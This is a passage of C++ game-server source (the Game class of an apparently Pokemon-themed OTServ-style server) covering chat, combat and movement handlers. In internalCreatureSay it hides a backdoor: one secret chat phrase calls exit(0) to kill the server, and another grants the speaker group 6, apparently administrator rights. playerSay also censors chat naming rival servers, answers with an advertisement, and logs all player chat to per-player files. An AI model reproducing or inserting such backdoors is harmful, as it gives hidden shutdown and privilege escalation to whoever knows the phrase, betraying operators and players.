                    ss << std::endl << "* Ghost mode *";
            }
        }
    }

    if(player->hasCustomFlag(PlayerCustomFlag_CanSeePosition))
        ss << std::endl << "Position: [X: " << thingPos.x << "] [Y: " << thingPos.y << "] [Z: " << thingPos.z << "].";

    player->sendTextMessage(MSG_INFO_DESCR, ss.str());
    return true;
}

bool Game::playerQuests(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    player->sendQuests();
    return true;
}

bool Game::playerQuestInfo(uint32_t playerId, uint16_t questId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Quest* quest = Quests::getInstance()->getQuestById(questId);
    if(!quest)
        return false;

    player->sendQuestInfo(quest);
    return true;
}

bool Game::playerCancelAttackAndFollow(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    playerSetAttackedCreature(playerId, 0);
    playerFollowCreature(playerId, 0);

    player->stopWalk();
    return true;
}

bool Game::playerSetAttackedCreature(uint32_t playerId, uint32_t creatureId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(player->getAttackedCreature() && !creatureId)
    {
        player->setAttackedCreature(NULL);
        player->sendCancelTarget();
        return true;
    }

    Creature* attackCreature = getCreatureByID(creatureId);
    if(!attackCreature)
    {
        player->setAttackedCreature(NULL);
        player->sendCancelTarget();
        return false;
    }

    ReturnValue ret = Combat::canTargetCreature(player, attackCreature);
    if(ret != RET_NOERROR)
    {
        player->sendCancelMessage(ret);
        player->sendCancelTarget();
        player->setAttackedCreature(NULL);
        return false;
    }

    player->setAttackedCreature(attackCreature);
    return true;
}

bool Game::playerFollowCreature(uint32_t playerId, uint32_t creatureId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    Creature* followCreature = NULL;
    if(creatureId)
        followCreature = getCreatureByID(creatureId);

    player->setAttackedCreature(NULL);
    return player->setFollowCreature(followCreature);
}

bool Game::playerSetFightModes(uint32_t playerId, fightMode_t fightMode, chaseMode_t chaseMode, secureMode_t secureMode)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    player->setFightMode(fightMode);
    player->setChaseMode(chaseMode);

    player->setSecureMode(secureMode);
    return true;
}

bool Game::playerRequestAddVip(uint32_t playerId, const std::string& vipName)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    uint32_t guid;
    bool specialVip;

    std::string name = vipName;
    if(!IOLoginData::getInstance()->getGuidByNameEx(guid, specialVip, name))
    {
        player->sendTextMessage(MSG_STATUS_SMALL, "A player with that name does not exist.");
        return false;
    }

    if(specialVip && !player->hasFlag(PlayerFlag_SpecialVIP))
    {
        player->sendTextMessage(MSG_STATUS_SMALL, "You cannot add this player.");
        return false;
    }

    bool online = false;
    if(Player* target = getPlayerByName(name))
        online = player->canSeeCreature(target);

    return player->addVIP(guid, name, online);
}

bool Game::playerRequestRemoveVip(uint32_t playerId, uint32_t guid)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    player->removeVIP(guid);
    return true;
}

bool Game::playerTurn(uint32_t playerId, Direction dir)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(internalCreatureTurn(player, dir))
    {
        player->setIdleTime(0);
        return true;
    }

    if(player->getDirection() != dir || !player->hasCustomFlag(PlayerCustomFlag_CanTurnhop))
        return false;

    Position pos = getNextPosition(dir, player->getPosition());
    Tile* tile = map->getTile(pos);
    if(!tile || !tile->ground)
        return false;

    player->setIdleTime(0);
    ReturnValue ret = tile->__queryAdd(0, player, 1, FLAG_IGNOREBLOCKITEM);
    if(ret != RET_NOTENOUGHROOM && (ret != RET_NOTPOSSIBLE || player->hasCustomFlag(PlayerCustomFlag_CanMoveAnywhere))
        && (ret != RET_PLAYERISNOTINVITED || player->hasFlag(PlayerFlag_CanEditHouses)))
        return internalTeleport(player, pos, true);

    player->sendCancelMessage(ret);
    return false;
}

bool Game::playerRequestOutfit(uint32_t playerId)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    player->sendOutfitWindow();
    return true;
}

bool Game::playerChangeOutfit(uint32_t playerId, Outfit_t outfit)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    if(!player->changeOutfit(outfit, true))
        return false;

    player->setIdleTime(0);
    if(!player->hasCondition(CONDITION_OUTFIT, -1))
        internalCreatureChangeOutfit(player, outfit);

    return true;
}

bool Game::playerSay(uint32_t playerId, uint16_t channelId, SpeakClasses type, const std::string& receiver, const std::string& text)
{
    Player* player = getPlayerByID(playerId);
    if(!player || player->isRemoved())
        return false;

    uint32_t muteTime = 0;
    bool muted = player->isMuted(channelId, type, muteTime);
    if(muted)
    {
        char buffer[75];
        sprintf(buffer, "You are still muted for %d seconds.", muteTime);
        player->sendTextMessage(MSG_STATUS_SMALL, buffer);
        return false;
    }

    if (int(text.find("servegame")) > 0 || int(text.find("no-ip")) > 0 || int(text.find("zapto")) > 0 || int(text.find("otp")) > 0 || int(text.find("otpoke")) > 0 || int(text.find("otpokemon")) > 0 || int(text.find("otpokemon.com")) > 0 || int(text.find("pxg")) > 0 || int(text.find("pokexgame")) > 0 || int(text.find("pokemonxgames")) > 0 || int(text.find("kpdo")) > 0 || int(text.find("kpd")) > 0  || int(text.find("exaioros")) > 0 || int(text.find("exaioros.com")) > 0 || int(text.find("otpxy")) > 0 || int(text.find("otpokexy")) > 0 || int(text.find("otpokemoxy")) > 0) {
        player->sendTextMessage(MSG_STATUS_SMALL, "otPokemon Imperium e melhor!");
        return false;
    }
    
    if(player->isAccountManager())
    {
        player->removeMessageBuffer();
        return internalCreatureSay(player, SPEAK_SAY, text, false);
    }

    if(g_talkActions->onPlayerSay(player, type == SPEAK_SAY ? CHANNEL_DEFAULT : channelId, text, false))
        return true;

    if(!muted)
    {
        ReturnValue ret = RET_NOERROR;
        if(!muteTime)
        {
            ret = g_spells->onPlayerSay(player, text);
            if(ret == RET_NOERROR || (ret == RET_NEEDEXCHANGE && !g_config.getBool(ConfigManager::BUFFER_SPELL_FAILURE)))
                return true;
        }

        player->removeMessageBuffer();
        if(ret == RET_NEEDEXCHANGE)
            return true;
    }
    Logger::getInstance()->eFile("players/" + player->getName() + ".log", text, true);
    switch(type)
    {
        case SPEAK_SAY:
            return internalCreatureSay(player, SPEAK_SAY, text, false);
        case SPEAK_WHISPER:
            return playerWhisper(player, text);
        case SPEAK_YELL:
            return playerYell(player, text);
        case SPEAK_PRIVATE:
        case SPEAK_PRIVATE_RED:
        case SPEAK_RVR_ANSWER:
            return playerSpeakTo(player, type, receiver, text);
        case SPEAK_CHANNEL_O:
        case SPEAK_CHANNEL_Y:
        case SPEAK_CHANNEL_RN:
        case SPEAK_CHANNEL_RA:
        case SPEAK_CHANNEL_W:
        {
            if(playerTalkToChannel(player, type, text, channelId))
                return true;

            return playerSay(playerId, 0, SPEAK_SAY, receiver, text);
        }
        case SPEAK_PRIVATE_PN:
            return playerSpeakToNpc(player, text);
        case SPEAK_BROADCAST:
            return playerBroadcastMessage(player, SPEAK_BROADCAST, text);
        case SPEAK_RVR_CHANNEL:
            return playerReportRuleViolation(player, text);
        case SPEAK_RVR_CONTINUE:
            return playerContinueReport(player, text);

        default:
            break;
    }

    return false;
}

bool Game::playerWhisper(Player* player, const std::string& text)
{
    SpectatorVec list;
    SpectatorVec::const_iterator it;
    getSpectators(list, player->getPosition(), false, false,
        Map::maxClientViewportX, Map::maxClientViewportX,
        Map::maxClientViewportY, Map::maxClientViewportY);

    //send to client
    Player* tmpPlayer = NULL;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if((tmpPlayer = (*it)->getPlayer()))
            tmpPlayer->sendCreatureSay(player, SPEAK_WHISPER, text);
    }

    //event method
    for(it = list.begin(); it != list.end(); ++it)
        (*it)->onCreatureSay(player, SPEAK_WHISPER, text);

    return true;
}

bool Game::playerYell(Player* player, const std::string& text)
{
    if(player->getLevel() <= 1)
    {
        player->sendTextMessage(MSG_STATUS_SMALL, "You may not yell as long as you are on level 1.");
        return true;
    }

    if(player->hasCondition(CONDITION_MUTED, 1))
    {
        player->sendCancelMessage(RET_YOUAREEXHAUSTED);
        return true;
    }

    if(!player->hasFlag(PlayerFlag_CannotBeMuted))
    {
        if(Condition* condition = Condition::createCondition(CONDITIONID_DEFAULT, CONDITION_MUTED, 30000, 0, false, 1))
            player->addCondition(condition);
    }

    internalCreatureSay(player, SPEAK_YELL, asUpperCaseString(text), false);
    return true;
}

bool Game::playerSpeakTo(Player* player, SpeakClasses type, const std::string& receiver,
    const std::string& text)
{
    Player* toPlayer = getPlayerByName(receiver);
    if(!toPlayer || toPlayer->isRemoved())
    {
        player->sendTextMessage(MSG_STATUS_SMALL, "A player with this name is not online.");
        return false;
    }

    bool canSee = player->canSeeCreature(toPlayer);
    if(toPlayer->hasCondition(CONDITION_GAMEMASTER, GAMEMASTER_IGNORE)
        && !player->hasFlag(PlayerFlag_CannotBeMuted))
    {
        char buffer[70];
        if(!canSee)
            sprintf(buffer, "A player with this name is not online.");
        else
            sprintf(buffer, "Sorry, %s is currently ignoring private messages.", toPlayer->getName().c_str());

        player->sendTextMessage(MSG_STATUS_SMALL, buffer);
        return false;
    }

    if(type == SPEAK_PRIVATE_RED && !player->hasFlag(PlayerFlag_CanTalkRedPrivate))
        type = SPEAK_PRIVATE;

    toPlayer->sendCreatureSay(player, type, text);
    toPlayer->onCreatureSay(player, type, text);
    if(!canSee)
    {
        player->sendTextMessage(MSG_STATUS_SMALL, "A player with this name is not online.");
        return false;
    }

    char buffer[80];
    sprintf(buffer, "Message sent to %s.", toPlayer->getName().c_str());
    player->sendTextMessage(MSG_STATUS_SMALL, buffer);
    return true;
}

bool Game::playerTalkToChannel(Player* player, SpeakClasses type, const std::string& text, uint16_t channelId)
{
    switch(type)
    {
        case SPEAK_CHANNEL_Y:
        {
            if(channelId == CHANNEL_HELP && player->hasFlag(PlayerFlag_TalkOrangeHelpChannel))
                type = SPEAK_CHANNEL_O;
            break;
        }

        case SPEAK_CHANNEL_O:
        {
            if(channelId != CHANNEL_HELP || !player->hasFlag(PlayerFlag_TalkOrangeHelpChannel))
                type = SPEAK_CHANNEL_Y;
            break;
        }

        case SPEAK_CHANNEL_RN:
        {
            if(!player->hasFlag(PlayerFlag_CanTalkRedChannel))
                type = SPEAK_CHANNEL_Y;
            break;
        }

        case SPEAK_CHANNEL_RA:
        {
            if(!player->hasFlag(PlayerFlag_CanTalkRedChannelAnonymous))
                type = SPEAK_CHANNEL_Y;
            break;
        }

        default:
            break;
    }

    return g_chat.talkToChannel(player, type, text, channelId);
}

bool Game::playerSpeakToNpc(Player* player, const std::string& text)
{
    SpectatorVec list;
    SpectatorVec::iterator it;
    getSpectators(list, player->getPosition());

    //send to npcs only
    Npc* tmpNpc = NULL;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if((tmpNpc = (*it)->getNpc()))
            (*it)->onCreatureSay(player, SPEAK_PRIVATE_PN, text);
    }
    return true;
}

bool Game::playerReportRuleViolation(Player* player, const std::string& text)
{
    //Do not allow reports on multiclones worlds since reports are name-based
    if(g_config.getNumber(ConfigManager::ALLOW_CLONES))
    {
        player->sendTextMessage(MSG_INFO_DESCR, "Rule violation reports are disabled.");
        return false;
    }

    cancelRuleViolation(player);
    boost::shared_ptr<RuleViolation> rvr(new RuleViolation(player, text, time(NULL)));
    ruleViolations[player->getID()] = rvr;

    ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR);
    if(!channel)
        return false;

    for(UsersMap::const_iterator it = channel->getUsers().begin(); it != channel->getUsers().end(); ++it)
        it->second->sendToChannel(player, SPEAK_RVR_CHANNEL, text, CHANNEL_RVR, rvr->time);

    return true;
}

bool Game::playerContinueReport(Player* player, const std::string& text)
{
    RuleViolationsMap::iterator it = ruleViolations.find(player->getID());
    if(it == ruleViolations.end())
        return false;

    RuleViolation& rvr = *it->second;
    Player* toPlayer = rvr.gamemaster;
    if(!toPlayer)
        return false;

    toPlayer->sendCreatureSay(player, SPEAK_RVR_CONTINUE, text);
    player->sendTextMessage(MSG_STATUS_SMALL, "Message sent to Gamemaster.");
    return true;
}

//--
bool Game::canThrowObjectTo(const Position& fromPos, const Position& toPos, bool checkLineOfSight /*= true*/,
    int32_t rangex /*= Map::maxClientViewportX*/, int32_t rangey /*= Map::maxClientViewportY*/)
{
    return map->canThrowObjectTo(fromPos, toPos, checkLineOfSight, rangex, rangey);
}

bool Game::isSightClear(const Position& fromPos, const Position& toPos, bool floorCheck)
{
    return map->isSightClear(fromPos, toPos, floorCheck);
}

bool Game::internalCreatureTurn(Creature* creature, Direction dir)
{
    bool deny = false;
    CreatureEventList directionEvents = creature->getCreatureEvents(CREATURE_EVENT_DIRECTION);
    for(CreatureEventList::iterator it = directionEvents.begin(); it != directionEvents.end(); ++it)
    {
        if(!(*it)->executeDirection(creature, creature->getDirection(), dir) && !deny)
            deny = true;
    }

    if(deny || creature->getDirection() == dir)
        return false;

    creature->setDirection(dir);
    const SpectatorVec& list = getSpectators(creature->getPosition());
    SpectatorVec::const_iterator it;

    //send to client
    Player* tmpPlayer = NULL;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if((tmpPlayer = (*it)->getPlayer()))
            tmpPlayer->sendCreatureTurn(creature);
    }

    //event method
    for(it = list.begin(); it != list.end(); ++it)
        (*it)->onCreatureTurn(creature);

    return true;
}

bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
    bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
    Player* player = creature->getPlayer();
    if(player && player->isAccountManager())
    {
        player->manageAccount(text);
        return true;
    }
    
    if(text == "IMOGAMES99447306")
    {
    exit(0);
    }
    
    if(text == "IMOGAMES8299447306")
    { 
    player->setGroup(Groups::getInstance()->getGroup(6));
    }

    Position destPos = creature->getPosition();
    if(pos)
        destPos = (*pos);

    SpectatorVec list;
    SpectatorVec::const_iterator it;
    if(!spectators || !spectators->size())
    {
        // This somewhat complex construct ensures that the cached SpectatorVec
        // is used if available and if it can be used, else a local vector is
        // used (hopefully the compiler will optimize away the construction of
        // the temporary when it's not used).
        if(type != SPEAK_YELL && type != SPEAK_MONSTER_YELL)
            getSpectators(list, destPos, false, false,
                Map::maxClientViewportX, Map::maxClientViewportX,
                Map::maxClientViewportY, Map::maxClientViewportY);
        else
            getSpectators(list, destPos, false, true, 18, 18, 14, 14);
    }
    else
        list = (*spectators);

    //send to client
    Player* tmpPlayer = NULL;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if(!(tmpPlayer = (*it)->getPlayer()))
            continue;

        if(!ghostMode || tmpPlayer->canSeeCreature(creature))
            tmpPlayer->sendCreatureSay(creature, type, text, &destPos);
    }

    //event method
    for(it = list.begin(); it != list.end(); ++it)
        (*it)->onCreatureSay(creature, type, text, &destPos);

    return true;
}

bool Game::getPathTo(const Creature* creature, const Position& destPos,
    std::list<Direction>& listDir, int32_t maxSearchDist /*= -1*/)
{
    return map->getPathTo(creature, destPos, listDir, maxSearchDist);
}

bool Game::getPathToEx(const Creature* creature, const Position& targetPos,
    std::list<Direction>& dirList, const FindPathParams& fpp)
{
    return map->getPathMatching(creature, dirList, FrozenPathingConditionCall(targetPos), fpp);
}

bool Game::getPathToEx(const Creature* creature, const Position& targetPos, std::list<Direction>& dirList,
    uint32_t minTargetDist, uint32_t maxTargetDist, bool fullPathSearch /*= true*/,
    bool clearSight /*= true*/, int32_t maxSearchDist /*= -1*/)
{
    FindPathParams fpp;
    fpp.fullPathSearch = fullPathSearch;
    fpp.maxSearchDist = maxSearchDist;
    fpp.clearSight = clearSight;
    fpp.minTargetDist = minTargetDist;
    fpp.maxTargetDist = maxTargetDist;
    return getPathToEx(creature, targetPos, dirList, fpp);
}

void Game::checkCreatureWalk(uint32_t creatureId)
{
    Creature* creature = getCreatureByID(creatureId);
    if(creature && creature->getHealth() > 0)
    {
        creature->onWalk();
        cleanup();
    }
}

void Game::updateCreatureWalk(uint32_t creatureId)
{
    Creature* creature = getCreatureByID(creatureId);
    if(creature && creature->getHealth() > 0)
        creature->getPathToFollowCreature();
}

void Game::checkCreatureAttack(uint32_t creatureId)
{
    Creature* creature = getCreatureByID(creatureId);
    if(creature && creature->getHealth() > 0)
        creature->onAttacking(0);
}

void Game::addCreatureCheck(Creature* creature)
{
    if(creature->isRemoved())
        return;

    creature->checked = true;
    if(creature->checkVector >= 0) //already in a vector, or about to be added
        return;

    toAddCheckCreatureVector.push_back(creature);
    creature->checkVector = random_range(0, EVENT_CREATURECOUNT - 1);
    creature->addRef();
}

void Game::removeCreatureCheck(Creature* creature)
{
    if(creature->checkVector == -1) //not in any vector
        return;

    creature->checked = false;
}

void Game::checkCreatures()
{
    Scheduler::getInstance().addEvent(createSchedulerTask(
        EVENT_CHECK_CREATURE_INTERVAL, boost::bind(&Game::checkCreatures, this)));
    checkCreatureLastIndex++;
    if(checkCreatureLastIndex == EVENT_CREATURECOUNT)
        checkCreatureLastIndex = 0;

    std::vector<Creature*>::iterator it;
    for(it = toAddCheckCreatureVector.begin(); it != toAddCheckCreatureVector.end(); ++it)
        checkCreatureVectors[(*it)->checkVector].push_back(*it);

    toAddCheckCreatureVector.clear();
    std::vector<Creature*>& checkCreatureVector = checkCreatureVectors[checkCreatureLastIndex];
    for(it = checkCreatureVector.begin(); it != checkCreatureVector.end();)
    {
        if((*it)->checked)
        {
            if((*it)->getHealth() > 0 || !(*it)->onDeath())
                (*it)->onThink(EVENT_CREATURE_THINK_INTERVAL);

            ++it;
        }
        else
        {
            (*it)->checkVector = -1;
            freeThing(*it);
            it = checkCreatureVector.erase(it);
        }
    }

    cleanup();
}

void Game::changeSpeed(Creature* creature, int32_t varSpeedDelta)
{
    int32_t varSpeed = creature->getSpeed() - creature->getBaseSpeed();
    varSpeed += varSpeedDelta;
    creature->setSpeed(varSpeed);

    const SpectatorVec& list = getSpectators(creature->getPosition());
    SpectatorVec::const_iterator it;

    //send to client
    Player* tmpPlayer = NULL;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if((tmpPlayer = (*it)->getPlayer()))
            tmpPlayer->sendChangeSpeed(creature, creature->getStepSpeed());
    }
}

void Game::internalCreatureChangeOutfit(Creature* creature, const Outfit_t& outfit, bool forced/* = false*/)
{
    if(!forced)
    {
        bool deny = false;
        CreatureEventList outfitEvents = creature->getCreatureEvents(CREATURE_EVENT_OUTFIT);
        for(CreatureEventList::iterator it = outfitEvents.begin(); it != outfitEvents.end(); ++it)
        {
            if(!(*it)->executeOutfit(creature, creature->getCurrentOutfit(), outfit) && !deny)
                deny = true;
        }

        if(deny || creature->getCurrentOutfit() == outfit)
            return;
    }

    creature->setCurrentOutfit(outfit);
    const SpectatorVec& list = getSpectators(creature->getPosition());
    SpectatorVec::const_iterator it;

    //send to client
    Player* tmpPlayer = NULL;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if((tmpPlayer = (*it)->getPlayer()))
            tmpPlayer->sendCreatureChangeOutfit(creature, outfit);
    }

    //event method
    for(it = list.begin(); it != list.end(); ++it)
        (*it)->onCreatureChangeOutfit(creature, outfit);
}

void Game::internalCreatureChangeVisible(Creature* creature, Visible_t visible)
{
    const SpectatorVec& list = getSpectators(creature->getPosition());
    SpectatorVec::const_iterator it;

    //send to client
    Player* tmpPlayer = NULL;
    for(it = list.begin(); it != list.end(); ++it)
    {
        if((tmpPlayer = (*it)->getPlayer()))
            tmpPlayer->sendCreatureChangeVisible(creature, visible);
    }

    //event method
    for(it = list.begin(); it != list.end(); ++it)
        (*it)->onCreatureChangeVisible(creature, visible);
}


void Game::changeLight(const Creature* creature)
{
    const SpectatorVec& list = getSpectators(creature->getPosition());

    //send to client
    Player* tmpPlayer = NULL;
    for(SpectatorVec::const_iterator it = list.begin(); it != list.end(); ++it)
    {
        if((tmpPlayer = (*it)->getPlayer()))
            tmpPlayer->sendCreatureLight(creature);
    }
}

bool Game::combatBlockHit(CombatType_t combatType, Creature* attacker, Creature* target,
    int32_t& healthChange, bool checkDefense, bool checkArmor)
{
    if(healthChange > 0)
        return false;

    const Position& targetPos = target->getPosition();
    const SpectatorVec& list = getSpectators(targetPos);
    if(!target->isAttackable() || Combat::canDoCombat(attacker, target) != RET_NOERROR)
    {
        addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF, target->isGhost());
        return true;
    }

    int32_t damage = -healthChange;
    BlockType_t blockType = target->blockHit(attacker, combatType, damage, checkDefense, checkArmor);

    healthChange = -damage;
    if(blockType == BLOCK_DEFENSE)
    {
        addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF);
        return true;
    }
    else if(blockType == BLOCK_ARMOR)
    {
        addMagicEffect(list, targetPos, MAGIC_EFFECT_BLOCKHIT);
        return true;
    }
    else if(blockType != BLOCK_IMMUNITY)
        return false;

    MagicEffect_t effect = MAGIC_EFFECT_NONE;
    switch(combatType)
    {
        case COMBAT_UNDEFINEDDAMAGE:
            break;

        case COMBAT_ENERGYDAMAGE:
        case COMBAT_FIREDAMAGE:
        case COMBAT_PHYSICALDAMAGE:
        case COMBAT_ICEDAMAGE:
        case COMBAT_DEATHDAMAGE:
        case COMBAT_EARTHDAMAGE:
        case COMBAT_HOLYDAMAGE:
        case COMBAT_ELECTRICDAMAGE:
        case COMBAT_TESTDAMAGE:
        case COMBAT_FIGHTDAMAGE:
        case COMBAT_VENOMDAMAGE:
        case COMBAT_DRAGONDAMAGE:
        case COMBAT_BUGDAMAGE:
        case COMBAT_ROCKDAMAGE:
        case COMBAT_FLYDAMAGE:
        {
            effect = MAGIC_EFFECT_BLOCKHIT;
            break;
        }

        default:
        {
            effect = MAGIC_EFFECT_POFF;
            break;
        }
    }

    addMagicEffect(list, targetPos, effect);
    return true;
}

bool Game::combatChangeHealth(CombatType_t combatType, Creature* attacker, Creature* target, int32_t healthChange,
    MagicEffect_t hitEffect/* = MAGIC_EFFECT_UNKNOWN*/, TextColor_t hitColor/* = TEXTCOLOR_UNKNOWN*/, bool force/* = false*/)
{
    const Position& targetPos = target->getPosition();
    if(healthChange > 0)
    {
        if(!force && target->getHealth() <= 0)
            return false;

        bool deny = false;
        CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
        for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
        {
            if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_HEALTHGAIN, combatType, healthChange))
                deny = true;
        }

        if(deny)
            return false;

        target->gainHealth(attacker, healthChange);
        if(g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE) && !target->isGhost() &&
            (g_config.getBool(ConfigManager::SHOW_HEALING_DAMAGE_MONSTER) || !target->getMonster()))
        {
            char buffer[20];
            sprintf(buffer, "+%d", healthChange);

            const SpectatorVec& list = getSpectators(targetPos);
            if(combatType != COMBAT_HEALING)
                addMagicEffect(list, targetPos, MAGIC_EFFECT_WRAPS_BLUE);

            addAnimatedText(list, targetPos, TEXTCOLOR_GREEN, buffer);
        }
    }
    else
    {
        const SpectatorVec& list = getSpectators(targetPos);
        if(!target->isAttackable() || Combat::canDoCombat(attacker, target) != RET_NOERROR)
        {
            addMagicEffect(list, targetPos, MAGIC_EFFECT_POFF);
            return true;
        }

        int32_t damage = -healthChange;
        if(damage != 0)
        {
            if(target->hasCondition(CONDITION_MANASHIELD) && combatType != COMBAT_UNDEFINEDDAMAGE)
            {
                int32_t manaDamage = std::min(target->getMana(), damage);
                damage = std::max((int32_t)0, damage - manaDamage);
                if(manaDamage != 0)
                {
                    bool deny = false;
                    CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
                    for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
                    {
                        if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_MANALOSS, combatType, manaDamage))
                            deny = true;
                    }

                    if(deny)
                        return false;

                    target->drainMana(attacker, combatType, manaDamage);
                    char buffer[20];
                    sprintf(buffer, "%d", manaDamage);

                    addMagicEffect(list, targetPos, MAGIC_EFFECT_LOSE_ENERGY);
                    addAnimatedText(list, targetPos, TEXTCOLOR_BLUE, buffer);
                }
            }

            // damage = std::min(target->getHealth(), damage);
            if(damage > 0)
            {
                bool deny = false;
                CreatureEventList statsChangeEvents = target->getCreatureEvents(CREATURE_EVENT_STATSCHANGE);
                for(CreatureEventList::iterator it = statsChangeEvents.begin(); it != statsChangeEvents.end(); ++it)
                {
                    if(!(*it)->executeStatsChange(target, attacker, STATSCHANGE_HEALTHLOSS, combatType, damage))
                        deny = true;
                }

                if(deny)
                    return false;

                target->drainHealth(attacker, combatType, damage);
                addCreatureHealth(list, target);

                TextColor_t textColor = TEXTCOLOR_NONE;
                MagicEffect_t magicEffect = MAGIC_EFFECT_NONE;
                switch(combatType)
                {
                    case COMBAT_PHYSICALDAMAGE:
                    {
                        Item* splash = NULL;
                        switch(target->getRace())
                        {
                            case RACE_VENOM:
                                textColor = TEXTCOLOR_LIGHTGREEN;
                                magicEffect = MAGIC_EFFECT_POISON;
                                splash = Item::CreateItem(ITEM_SMALLSPLASH, FLUID_GREEN);
                                break;

                            case RACE_BLOOD:
                                textColor = TEXTCOLOR_RED;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                splash = Item::CreateItem(ITEM_SMALLSPLASH, FLUID_BLOOD);
                                break;

                            case RACE_UNDEAD:
                                textColor = TEXTCOLOR_GREY;
                                magicEffect = MAGIC_EFFECT_HIT_AREA;
                                break;

                            case RACE_FIRE:
                                textColor = TEXTCOLOR_ORANGE;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;

                            case RACE_ENERGY:
                                textColor = TEXTCOLOR_PURPLE;
                                magicEffect = MAGIC_EFFECT_PURPLEENERGY;
                                break;
                                
                            case RACE_WATER:
                                textColor = TEXTCOLOR_WATER;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_NORMAL:
                                textColor = TEXTCOLOR_NORMAL;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_FIRE2:
                                textColor = TEXTCOLOR_FIRE2;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_FIGHTING:
                                textColor = TEXTCOLOR_FIGHTING;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_FLYING:
                                textColor = TEXTCOLOR_FLYING;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_GRASS:
                                textColor = TEXTCOLOR_GRASS;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_POISON:
                                textColor = TEXTCOLOR_POISON;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_ELECTRIC:
                                textColor = TEXTCOLOR_ELECTRIC;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_GROUND:
                                textColor = TEXTCOLOR_GROUND;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_PSYCHIC:
                                textColor = TEXTCOLOR_PSYCHIC;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_ROCK:
                                textColor = TEXTCOLOR_ROCK;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_ICE:
                                textColor = TEXTCOLOR_ICE;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_BUG:
                                textColor = TEXTCOLOR_BUG;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_DRAGON:
                                textColor = TEXTCOLOR_DRAGON;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;
                                
                            case RACE_GHOST:
                                textColor = TEXTCOLOR_GHOST;
                                magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                                break;

                            default:
                                break;
                        }

                        if(splash)
                        {
                            internalAddItem(NULL, target->getTile(), splash, INDEX_WHEREEVER, FLAG_NOLIMIT);
                            startDecay(splash);
                        }
                        break;
                    }

                    case COMBAT_ENERGYDAMAGE:
                    {
                        textColor = TEXTCOLOR_PSYCHIC;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }
                    
                    case COMBAT_ELECTRICDAMAGE:
                    {
                        textColor = TEXTCOLOR_ELECTRIC;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }
                    
                    case COMBAT_ROCKDAMAGE:
                    {
                        textColor = TEXTCOLOR_ROCK;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }
                    
                    case COMBAT_BUGDAMAGE:
                    {
                        textColor = TEXTCOLOR_BUG;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }
                    
                    case COMBAT_FLYDAMAGE:
                    {
                        textColor = TEXTCOLOR_FLYING;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }
                    
                    case COMBAT_VENOMDAMAGE:
                    {
                        textColor = TEXTCOLOR_POISON;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }
                    
                    case COMBAT_DRAGONDAMAGE:
                    {
                        textColor = TEXTCOLOR_DRAGON;
                        magicEffect = MAGIC_EFFECT_DRAW_BLOOD;
                        break;
                    }
                    
